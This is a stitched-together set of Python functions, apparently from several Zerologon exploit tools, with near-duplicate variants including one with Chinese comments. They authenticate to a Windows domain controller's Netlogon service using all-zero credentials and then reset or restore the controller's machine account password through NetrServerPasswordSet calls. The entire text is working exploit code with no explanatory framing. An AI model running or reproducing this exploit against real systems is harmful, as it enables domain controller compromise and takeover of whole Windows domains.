def restore(self): self.logInfo('attempting to restore password') self.clientChallenge = b'12345678' try: self.primaryName = NULL challenge = self.serverReqChallenge() self.sessionKey = nrpc.ComputeSessionKeyAES( '', self.clientChallenge, challenge['ServerChallenge'] ) self.clientCredential = self.ComputeNetlogonCredentialAES( self.clientChallenge ) try: self.serverAuthenticate() except Exception as e: if str(e).find('STATUS_DOWNGRADE_DETECTED') < 0: raise self.logInfo('restoring password') self.clientStoredCredential = pack('<Q', unpack('<Q', self.clientCredential)[0] + 10) self.authenticator = self.getAuthenticator( creds=self.ComputeNetlogonCredentialAES(self.clientStoredCredential) ) self.clearNewPasswordBlob = self.ComputeNetlogonCredentialAES( self.encodePassword(self.password) ) reset = self.serverPasswordSet() if reset['ErrorCode'] == 0: self.logInfo('successfully restored password') else: self.logError('failed to restore password') except Exception as ex: self.logError(ex) return self
def authenticate(rpc_con, user): Client_Challenge = bytes(random.getrandbits(8) for i in range(8)) status = nrpc.hNetrServerReqChallenge(rpc_con, NULL, user.computer_name + '\x00', Client_Challenge) if (status == None or status['ErrorCode'] != 0): print('Error NetrServerReqChallenge') else: Server_Challenge = status['ServerChallenge'] print("Client_Challenge : ", Client_Challenge) print("Server_Challenge : ", Server_Challenge) SessionKey = nrpc.ComputeSessionKeyAES( user.account_password, Client_Challenge, Server_Challenge, bytearray.fromhex(user.account_password)) print("Session_Key : ", SessionKey) Credential = nrpc.ComputeNetlogonCredentialAES(Client_Challenge, SessionKey) print("Credential : ", Credential) negotiateFlags = 0x612fffff try: resp = nrpc.hNetrServerAuthenticate3( rpc_con, user.dc_name + '\x00', user.account_name + '\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel, user.computer_name + '\x00', Credential, negotiateFlags) Authenticator = nrpc.ComputeNetlogonAuthenticator( Credential, SessionKey) resp = nrpc.hNetrLogonGetCapabilities(rpc_con, user.dc_name, user.computer_name, Authenticator) print("Secure Channel is UP !") except Exception as e: print('Unexpected error code from DC')
def dump(self, remoteName, remoteHost): stringbinding = epm.hept_map(remoteHost, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp') logging.info('StringBinding %s' % stringbinding) rpctransport = transport.DCERPCTransportFactory(stringbinding) dce = rpctransport.get_dce_rpc() dce.connect() dce.bind(nrpc.MSRPC_UUID_NRPC) resp = nrpc.hNetrServerReqChallenge(dce, NULL, remoteName + '\x00', b'12345678') serverChallenge = resp['ServerChallenge'] ntHash = unhexlify(self.__nthash) # Empty at this point self.sessionKey = nrpc.ComputeSessionKeyAES('', b'12345678', serverChallenge) self.ppp = nrpc.ComputeNetlogonCredentialAES(b'12345678', self.sessionKey) try: resp = nrpc.hNetrServerAuthenticate3( dce, '\\\\' + remoteName + '\x00', self.__username + '$\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel, remoteName + '\x00', self.ppp, 0x212fffff) except Exception as e: if str(e).find('STATUS_DOWNGRADE_DETECTED') < 0: raise self.clientStoredCredential = pack('<Q', unpack('<Q', self.ppp)[0] + 10) request = NetrServerPasswordSet2() request['PrimaryName'] = '\\\\' + remoteName + '\x00' request['AccountName'] = remoteName + '$\x00' request[ 'SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel request['Authenticator'] = self.update_authenticator() request['ComputerName'] = remoteName + '\x00' encpassword = nrpc.ComputeNetlogonCredentialAES( self.__password, self.sessionKey) indata = b'\x00' * (512 - len(self.__password)) + self.__password + pack( '<L', len(self.__password)) request['ClearNewPassword'] = nrpc.ComputeNetlogonCredentialAES( indata, self.sessionKey) result = dce.request(request) print('Change password OK')
def attempt_restoration(self, rpc_con: rpcrt.DCERPC_v5, original_pwd_nthash: str) -> Optional[object]: plaintext = b"\x00" * 8 ciphertext = b"\x00" * 8 flags = 0x212FFFFF # Send challenge and authentication request. server_challenge_response = nrpc.hNetrServerReqChallenge( rpc_con, self.dc_handle + "\x00", self.dc_name + "\x00", plaintext) server_challenge = server_challenge_response["ServerChallenge"] server_auth = nrpc.hNetrServerAuthenticate3( rpc_con, self.dc_handle + "\x00", self.dc_name + "$\x00", nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel, self.dc_name + "\x00", ciphertext, flags, ) assert server_auth["ErrorCode"] == 0 session_key = nrpc.ComputeSessionKeyAES( None, b"\x00" * 8, server_challenge, unhexlify("31d6cfe0d16ae931b73c59d7e0c089c0"), ) try: nrpc.NetrServerPasswordSetResponse = NetrServerPasswordSetResponse nrpc.OPNUMS[6] = (NetrServerPasswordSet, nrpc.NetrServerPasswordSetResponse) request = NetrServerPasswordSet() ZerologonExploiter._set_up_request(request, self.dc_name) request["PrimaryName"] = NULL pwd_data = impacket.crypto.SamEncryptNTLMHash( unhexlify(original_pwd_nthash), session_key) request["UasNewPassword"] = pwd_data rpc_con.request(request) except Exception as e: logger.info(f"Unexpected error: {e}") return rpc_con
def authenticate(user): Client_Challenge = bytes(random.getrandbits(8) for i in range(8)) status = nrpc.hNetrServerReqChallenge(user.rpc, NULL, user.computer_name + '\x00', Client_Challenge) if (status == None or status['ErrorCode'] != 0): fail(f'Error NetrServerReqChallenge') else: Server_Challenge = status['ServerChallenge'] print("Client_Challenge : ", Client_Challenge) print("Server_Challenge : ", Server_Challenge) SessionKey = nrpc.ComputeSessionKeyAES( user.account_password, Client_Challenge, Server_Challenge, bytearray.fromhex(user.account_password)) user.SetSessionKey(SessionKey) print("Session_Key : ", SessionKey) Credential = nrpc.ComputeNetlogonCredentialAES(Client_Challenge, SessionKey) print("Credential : ", Credential) negotiateFlags = 0x612fffff try: _ = nrpc.hNetrServerAuthenticate3( user.rpc, user.dc_name + '\x00', user.account_name + '\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel, user.computer_name + '\x00', Credential, negotiateFlags) Authenticator = nrpc.ComputeNetlogonAuthenticator( Credential, SessionKey) user.SetAuthenticator(Authenticator) getCapabilities = nrpc.hNetrLogonGetCapabilities( user.rpc, user.dc_name, user.computer_name, Authenticator) serverCapabilities = getCapabilities["ServerCapabilities"]\ ["ServerCapabilities"] user.UpdateAuthenticator(getCapabilities["ReturnAuthenticator"]\ ["Credential"]) print("Server Capabilities : " + str(serverCapabilities)) print("Secure Channel is UP !") Menu(user) except Exception as e: fail(f'Unexpected error code from DC: {e}.')
def try_zero_authenticate(dc_handle, dc_ip, target_computer, originalpw): # Connect to the DC's Netlogon service. binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp') rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc() rpc_con.connect() rpc_con.bind(nrpc.MSRPC_UUID_NRPC) plaintext = b'\x00' * 8 ciphertext = b'\x00' * 8 flags = 0x212fffff # Send challenge and authentication request. serverChallengeResp = nrpc.hNetrServerReqChallenge( rpc_con, dc_handle + '\x00', target_computer + '\x00', plaintext) serverChallenge = serverChallengeResp['ServerChallenge'] try: server_auth = nrpc.hNetrServerAuthenticate3( rpc_con, dc_handle + '\x00', target_computer + "$\x00", nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel, target_computer + '\x00', ciphertext, flags) # It worked! assert server_auth['ErrorCode'] == 0 print() server_auth.dump() print("server challenge", serverChallenge) sessionKey = nrpc.ComputeSessionKeyAES( None, b'\x00' * 8, serverChallenge, unhexlify("31d6cfe0d16ae931b73c59d7e0c089c0")) print("session key", sessionKey) try: IV = b'\x00' * 16 #Crypt1 = AES.new(sessionKey, AES.MODE_CFB, IV) #serverCred = Crypt1.encrypt(serverChallenge) #print("server cred", serverCred) #clientCrypt = AES.new(sessionKey, AES.MODE_CFB, IV) #clientCred = clientCrypt.encrypt(b'\x00'*8) #print("client cred", clientCred) #timestamp_var = 10 #clientStoredCred = pack('<Q', unpack('<Q', b'\x00'*8)[0] + timestamp_var) #print("client stored cred", clientStoredCred) authenticator = nrpc.NETLOGON_AUTHENTICATOR() #authenticatorCrypt = AES.new(sessionKey, AES.MODE_CFB, IV) #authenticatorCred = authenticatorCrypt.encrypt(clientStoredCred); #print("authenticator cred", authenticatorCred) authenticator['Credential'] = ciphertext #authenticatorCred authenticator['Timestamp'] = b"\x00" * 4 #0 # timestamp_var #request = nrpc.NetrLogonGetCapabilities() #request['ServerName'] = '\x00'*20 #request['ComputerName'] = target_computer + '\x00' #request['Authenticator'] = authenticator #request['ReturnAuthenticator']['Credential'] = b'\x00' * 8 #request['ReturnAuthenticator']['Timestamp'] = 0 #request['QueryLevel'] = 1 #resp = rpc_con.request(request) #resp.dump() nrpc.NetrServerPasswordSetResponse = NetrServerPasswordSetResponse nrpc.OPNUMS[6] = (NetrServerPasswordSet, nrpc.NetrServerPasswordSetResponse) request = NetrServerPasswordSet() request['PrimaryName'] = NULL request['AccountName'] = target_computer + '$\x00' request[ 'SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel request['ComputerName'] = target_computer + '\x00' request["Authenticator"] = authenticator #request['ReturnAuthenticator']['Credential'] = b'\x00' * 8 #request['ReturnAuthenticator']['Timestamp'] = 0 pwdata = impacket.crypto.SamEncryptNTLMHash( unhexlify(originalpw), sessionKey) request["UasNewPassword"] = pwdata resp = rpc_con.request(request) resp.dump() #request['PrimaryName'] = NULL #request['ComputerName'] = target_computer + '\x00' #request['OpaqueBuffer'] = b'HOLABETOCOMOANDAS\x00' #request['OpaqueBufferSize'] = len(b'HOLABETOCOMOANDAS\x00') #resp = rpc_con.request(request) #resp.dump() except Exception as e: print(e) return rpc_con except nrpc.DCERPCSessionError as ex: #print(ex) # Failure should be due to a STATUS_ACCESS_DENIED error. Otherwise, the attack is probably not working. if ex.get_error_code() == 0xc0000022: return None else: fail(f'Unexpected error code from DC: {ex.get_error_code()}.') except BaseException as ex: fail(f'Unexpected error: {ex}.')
def try_restore_originalpw(dc_handle, dc_ip, target_computer, originalpw): # Connect to the DC's Netlogon service. binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp') rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc() rpc_con.connect() rpc_con.bind(nrpc.MSRPC_UUID_NRPC) try: # Send challenge clientChallenge = os.urandom(8) serverChallengeResp = nrpc.hNetrServerReqChallenge( rpc_con, dc_handle + '\x00', target_computer + '\x00', clientChallenge) serverChallenge = serverChallengeResp['ServerChallenge'] print("server challenge", serverChallenge) sessionKey = nrpc.ComputeSessionKeyAES( None, clientChallenge, serverChallenge, unhexlify("31d6cfe0d16ae931b73c59d7e0c089c0")) print("session key", sessionKey) clientCredential = AES.new(sessionKey, mode=AES.MODE_CFB, IV=b'\x00' * 16, segment_size=8).encrypt(clientChallenge) print("client credential", clientCredential) # Send authentication request flags = 0x212fffff server_auth = nrpc.hNetrServerAuthenticate3( rpc_con, dc_handle + '\x00', target_computer + "$\x00", nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel, target_computer + '\x00', clientCredential, flags) # It worked! assert server_auth['ErrorCode'] == 0 print() server_auth.dump() clientStoredCred = clientCredential + b'\x00' * 4 # clientCredential + Timestamp authenticatorCrypt = AES.new(sessionKey, mode=AES.MODE_CFB, IV=b'\x00' * 16, segment_size=8).encrypt(clientStoredCred) authenticator = nrpc.NETLOGON_AUTHENTICATOR() authenticator['Credential'] = authenticatorCrypt[:8] authenticator['Timestamp'] = authenticatorCrypt[8:] nrpc.NetrServerPasswordSetResponse = NetrServerPasswordSetResponse nrpc.OPNUMS[6] = (NetrServerPasswordSet, nrpc.NetrServerPasswordSetResponse) request = NetrServerPasswordSet() request['PrimaryName'] = NULL request['AccountName'] = target_computer + '$\x00' request[ 'SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel request['ComputerName'] = target_computer + '\x00' request["Authenticator"] = authenticator pwdata = impacket.crypto.SamEncryptNTLMHash(unhexlify(originalpw), sessionKey) request["UasNewPassword"] = pwdata resp = rpc_con.request(request) assert resp['ErrorCode'] == 0 print() resp.dump() print('Success! Password hash restored: {}'.format(originalpw)) except Exception as ex: fail(f'Unexpected error: {ex}.')
def __try_zero_authenticate(self, originalpw=None): # Connect to the DC's Netlogon service. binding = epm.hept_map(self.ipaddress, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp') rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc() rpc_con.connect() rpc_con.bind(nrpc.MSRPC_UUID_NRPC) # Use an all-zero challenge and credential. plaintext = b'\x00' * 8 ciphertext = b'\x00' * 8 # Standard flags observed from a Windows 10 client (including AES), with only the sign/seal flag disabled. flags = 0x212fffff # Send challenge and authentication request. serverChallengeResp = nrpc.hNetrServerReqChallenge( rpc_con, self.dc_handle + '\x00', self.hostname + '\x00', plaintext) serverChallenge = serverChallengeResp['ServerChallenge'] try: server_auth = nrpc.hNetrServerAuthenticate3( rpc_con, self.dc_handle + '\x00', self.hostname + '$\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel, self.hostname + '\x00', ciphertext, flags) # It worked! assert server_auth['ErrorCode'] == 0 if not originalpw: return rpc_con else: print() server_auth.dump() print("server challenge", serverChallenge) sessionKey = nrpc.ComputeSessionKeyAES( None, b'\x00' * 8, serverChallenge, unhexlify("31d6cfe0d16ae931b73c59d7e0c089c0")) print("session key", sessionKey) try: authenticator = nrpc.NETLOGON_AUTHENTICATOR() authenticator[ 'Credential'] = ciphertext #authenticatorCred authenticator[ 'Timestamp'] = b"\x00" * 4 #0 # timestamp_var nrpc.NetrServerPasswordSetResponse = NetrServerPasswordSetResponse nrpc.OPNUMS[6] = (NetrServerPasswordSet, nrpc.NetrServerPasswordSetResponse) request = NetrServerPasswordSet() request['PrimaryName'] = NULL request['AccountName'] = self.hostname + '$\x00' request[ 'SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel request['ComputerName'] = self.hostname + '\x00' request["Authenticator"] = authenticator pwdata = impacket.crypto.SamEncryptNTLMHash( unhexlify(originalpw), sessionKey) request["UasNewPassword"] = pwdata resp = rpc_con.request(request) resp.dump() except Exception as e: print(e) return rpc_con except nrpc.DCERPCSessionError as ex: # Failure should be due to a STATUS_ACCESS_DENIED error. Otherwise, the attack is probably not working. if ex.get_error_code() == 0xc0000022: return None else: fail(f'Unexpected error code from DC: {ex.get_error_code()}.') except BaseException as ex: fail(f'Unexpected error: {ex}.')
def try_zero_authenticate(dc_handle, dc_ip, target_computer, originalpw): # 连接到DC的Netlogon服务。 binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp') rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc() rpc_con.connect() rpc_con.bind(nrpc.MSRPC_UUID_NRPC) plaintext = b'\x00' * 8 ciphertext = b'\x00' * 8 flags = 0x212fffff # 发送challenge和证书请求包。 serverChallengeResp = nrpc.hNetrServerReqChallenge( rpc_con, dc_handle + '\x00', target_computer + '\x00', plaintext) serverChallenge = serverChallengeResp['ServerChallenge'] try: server_auth = nrpc.hNetrServerAuthenticate3( rpc_con, dc_handle + '\x00', target_computer + "$\x00", nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel, target_computer + '\x00', ciphertext, flags) # worked! assert server_auth['ErrorCode'] == 0 print() server_auth.dump() print("server challenge", serverChallenge) sessionKey = nrpc.ComputeSessionKeyAES( None, b'\x00' * 8, serverChallenge, unhexlify("31d6cfe0d16ae931b73c59d7e0c089c0")) print("session key", sessionKey) try: IV = b'\x00' * 16 authenticator = nrpc.NETLOGON_AUTHENTICATOR() authenticator['Credential'] = ciphertext #authenticatorCred authenticator['Timestamp'] = b"\x00" * 4 #0 # 时间戳 nrpc.NetrServerPasswordSetResponse = NetrServerPasswordSetResponse nrpc.OPNUMS[6] = (NetrServerPasswordSet, nrpc.NetrServerPasswordSetResponse) request = NetrServerPasswordSet() request['PrimaryName'] = NULL request['AccountName'] = target_computer + '$\x00' request[ 'SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel request['ComputerName'] = target_computer + '\x00' request["Authenticator"] = authenticator pwdata = impacket.crypto.SamEncryptNTLMHash( unhexlify(originalpw), sessionKey) request["UasNewPassword"] = pwdata resp = rpc_con.request(request) resp.dump() except Exception as e: print(e) return rpc_con except nrpc.DCERPCSessionError as ex: # 失败应该是由于状态拒绝访问的错误,攻击可能不会起作用。 if ex.get_error_code() == 0xc0000022: return None else: fail(f'来自DC的意外错误代码: {ex.get_error_code()}.') except BaseException as ex: fail(f'意外错误: {ex}.')